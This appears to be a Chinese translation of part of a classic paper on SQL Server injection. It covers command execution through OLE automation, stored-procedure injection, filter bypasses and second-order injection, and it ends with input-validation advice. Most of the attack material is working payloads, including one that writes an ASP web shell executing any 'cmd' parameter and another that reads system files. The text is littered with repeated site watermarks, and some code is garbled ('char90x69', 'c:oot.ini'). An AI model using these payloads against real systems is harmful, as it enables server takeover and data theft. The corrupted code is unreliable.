(1)这个例子使用′′wscript.shell′′对象建立了一个记事本的实例: 数据挖掘研究院
wscript.shell example 数据挖掘研究院
declare @o int
exec sp_oacreate ′′wscript.shell′′,@o out
exec sp_oamethod @o,′′run′′,NULL,′′notepad.exe′′ 数据挖掘研究院
我们可以通过指定在用户名后面来执行它:
Username:′′; declare @o int exec sp_oacreate ′′wscript.shell′′,@o out exec sp_oamethod @o,′′run′′,NULL,′′notepad.exe′′— 数据挖掘研究院
(2)这个例子使用′′scripting.filesystemobject′′对象读一个已知的文本文件: 数据挖掘实验室
--scripting.filesystemobject example – read a known file 数据挖掘研究院
declare @o int, @f int, @t int, @ret int 数据挖掘研究院
declare @line varchar(8000) 数据挖掘研究院
exec sp_oacreate ′′scripting.filesystemobject′′, @o out
exec sp_oamethod @o, ′′opentextfile′′, @f out, ′′c:oot.ini′′, 1
exec @ret=sp_oamethod @f,′′readline′′,@line out
while(@ret=0) 数据挖掘研究院
begin
print @line 数据挖掘研究院
exec @ret=sp_oamethod @f,′′readline′′,@line out 数据挖掘研究院
end
(3)这个例子创建了一个能执行通过提交到的任何命令: 数据挖掘研究院
-- scripting.filesystemobject example – create a ′′run this′′.asp file 数据挖掘研究院
declare @o int,@f int,@t int,@ret int 数据挖掘研究院
exec sp_oacreate ′′scripting.filesystemobject′′,@o out 数据挖掘研究院
exec sp_oamethod @o,′′createtextfile′′,@f out,′′c:inetpubwwwrootfoo.asp′′,1
exec @ret=sp_oamethod @f,′′writeline′′,NULL,′′<% set o=server.createobject("wscript.shell"):o.run(request.querystring("cmd")) %>′′ 数据挖掘研究院
需要指出的是如果运行的环境是WIN NT4+IIS4平台上,那么通过这个程序运行的命令是以系统权限运行的。在IIS5中,它以一个比较低的权限IWAM_XXXaccount运行。
(4)这些例子阐述了这个技术的适用性;它可以使用′′speech.voicetext′′对象引起SQL SERVER发声: 数据挖掘研究院
declare @o int,@ret int
exec sp_oacreate ′′speech.voicetext′′,@o out
exec sp_oamethod @o,′′register′′,NULL,′′foo′′,′′bar′′
exec sp_oasetproperty @o,′′speed′′,150
exec sp_oamethod @o,′′speak′′,NULL,′′all your sequel servers are belong to,us′′,528 数据挖掘实验室
waitfor delay ′′00:00:05′′ 数据挖掘研究院
我们可以在我们假定的例子中,通过指定在用户名后面来执行它(注意这个例子不仅仅是注入一个脚本,同时以admin权限登陆到应用程序): 数据挖掘研究院
Username:admin′′;declare @o int,@ret int exec sp_oacreate ′′speech.voicetext′′,@o out exec sp_oamethod @o,′′register′′,NULL,′′foo′′,′′bar′′ exec sp_oasetproperty @o,′′speed′′,150 exec sp_oamethod @o,′′speak′′,NULL,′′all your sequel servers are belong to us′′,528 waitfor delay ′′00:00:05′′-- 数据挖掘实验室
[存储过程]
传说如果一个ASP应用程序在数据库中使用了存储过程,那么SQL注入是不可能的。这句话只对了一半,这要看ASP脚本中调用这个存储过程的方式。
本质上,如果一个有参数的查询被执行 ,并且用户提供的参数通过安全检查才放入到查询中,那么SQL注入明显是不可能发生的。但是如果攻击者努力影响所执行查询语句的非数据部分,这样他们就可能能够控制数据库。 数据挖掘研究院
比较好的常规的标准是: 数据挖掘实验室
?如果一个ASP脚本能够产生一个被提交的SQL查询字符串,即使它使用了存储过程也是能够引起SQL注入的弱点。 数据挖掘实验室
?如果一个ASP脚本使用一个过程对象限制参数的往存储过程中分配(例如ADO的用于参数收集的command对象),那么通过这个对象的执行,它一般是安全的。 数据挖掘研究院
明显地,既然新的攻击技术始终地被发现,好的惯例仍然是验证用户所有的输入。 数据挖掘研究院
为了阐明存储过程的查询注入,执行以下语句: 数据挖掘研究院
sp_who ′′1′′ select * from sysobjects
or
sp_who ′′1′′;select * from sysobjects
任何一种方法,在存储过程后,追加的查询依然会执行。 数据挖掘实验室
[高级SQL注入] 数据挖掘研究院
通常情况下,一个web应用程序将会过滤单引号(或其他符号),或者限定用户提交的数据的长度。 数据挖掘实验室
在这部分,我们讨论一些能帮助攻击者饶过那些明显防范SQL注入,躲避被记录的技术。
[没有单引号的字符串]
有时候开发人员会通过过滤所有的单引号来保护应用程序,他们可能使用VBScript中的replace函数或类似: 数据挖掘研究院
function escape(input)
input=replace(input,"′′","′′′′")
escape=input 数据挖掘研究院
end function
无可否认地这防止了我们所有例子的攻击,再除去′′;′′符号也可以帮很多忙。但是在一个大型的应用程序中,好象个别值期望用户输入的是数字。这些值没有被限定,因此为攻击者提供了一个SQL注入的弱点。
如果攻击者想不使用单引号产生一个字符串值,他可以使用char函数,例如: 数据挖掘实验室
insert into users values(666, 数据挖掘研究院
char(0x63)+char(0x68)+char(0x72)+char90x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char90x69)+char(0x73),
0xffff) 数据挖掘研究院
这就是一个能够往表中插入字符串的不包含单引号的查询。 数据挖掘实验室
淡然,如果攻击者不介意使用一个数字用户名和密码,下面的语句也同样会起作用: 数据挖掘研究院
insert into users values(667, 数据挖掘研究院
123, 数据挖掘研究院
123, 数据挖掘研究院
oxffff)
SQL SERVER自动地将整型转化为varchar型的值。
[Second-Order SQL Injection] 数据挖掘研究院
即使应用程序总是过滤单引号,攻击者依然能够注入SQL同样通过应用程序使数据库中的数据重复使用。
例如,攻击者可能利用下面的信息在应用程序中注册: 数据挖掘研究院
Username:admin′′— 数据挖掘研究院
Password:password 数据挖掘研究院
应用程序正确过滤了单引号,返回了一个类似这样的insert语句:
insert into users values(123,′′admin′′′′—′′,′′password′′,0xffff)
我们假设应用程序允许用户修改自己的密码。这个ASP脚本程序首先保证用户设置新密码前拥有正确的旧密码。代码如下:
username = escape( Request.form("username") );
oldpassword = escape( Request.form("oldpassword") );
newpassword = escape( Request.form("newpassword") ); 数据挖掘研究院
var rso = Server.CreateObject("ADODB.Recordset"); 数据挖掘研究院
var sql = "select * from users where username = ′′" + username + "′′ and password = ′′" + oldpassword + "′′";
rso.open( sql, cn ); 数据挖掘研究院
if (rso.EOF) 数据挖掘实验室
{ 数据挖掘研究院
…
设置新密码的代码如下: 数据挖掘研究院
sql = "update users set password = ′′" + newpassword + "′′ where username = ′′" + rso("username") + "′′" 数据挖掘研究院
rso("username")为登陆查询中返回的用户名 数据挖掘实验室
当username为admin′′—时,查询语句为: 数据挖掘研究院
update users set password = ′′password′′ where username=′′admin′′—′′
这样攻击者可以通过注册一个admin′′—的用户来根据自己的想法来设置admin的密码。 数据挖掘实验室
这是一个非常严重的问题,目前在大型的应用程序中试图去过滤数据。最好的解决方法是拒绝非法输入,这胜于简单地努力去修改它。这有时会导致一个问题,非法的字符在那里是必要的,例如在用户名中包含′′符号,例如
O′′Brien
从一个安全的观点来看,最好的解答是但引号不允许存在是一个简单的事实。如果这是无法接受的话,他们仍然要被过滤;在这种情况下,保证所有进入SQL查询的数据都是正确的是最好的方法。 数据挖掘研究院
如果攻击者不使用任何应用程序莫名其妙地往系统中插入数据,这种方式的攻击也是可能的。应用程序可能有email接口,或者可能在数据库中可以存储错误日志,这样攻击者可以努力控制它。验证所有数据,包括数据库中已经存在的数据始终是个好的方法。确认函数将被简单地调用,例如: 数据挖掘研究院
if(not isValid("email",request.querystring("email"))) then 数据挖掘研究院
response.end 数据挖掘研究院
或者类似的方法。 数据挖掘研究院

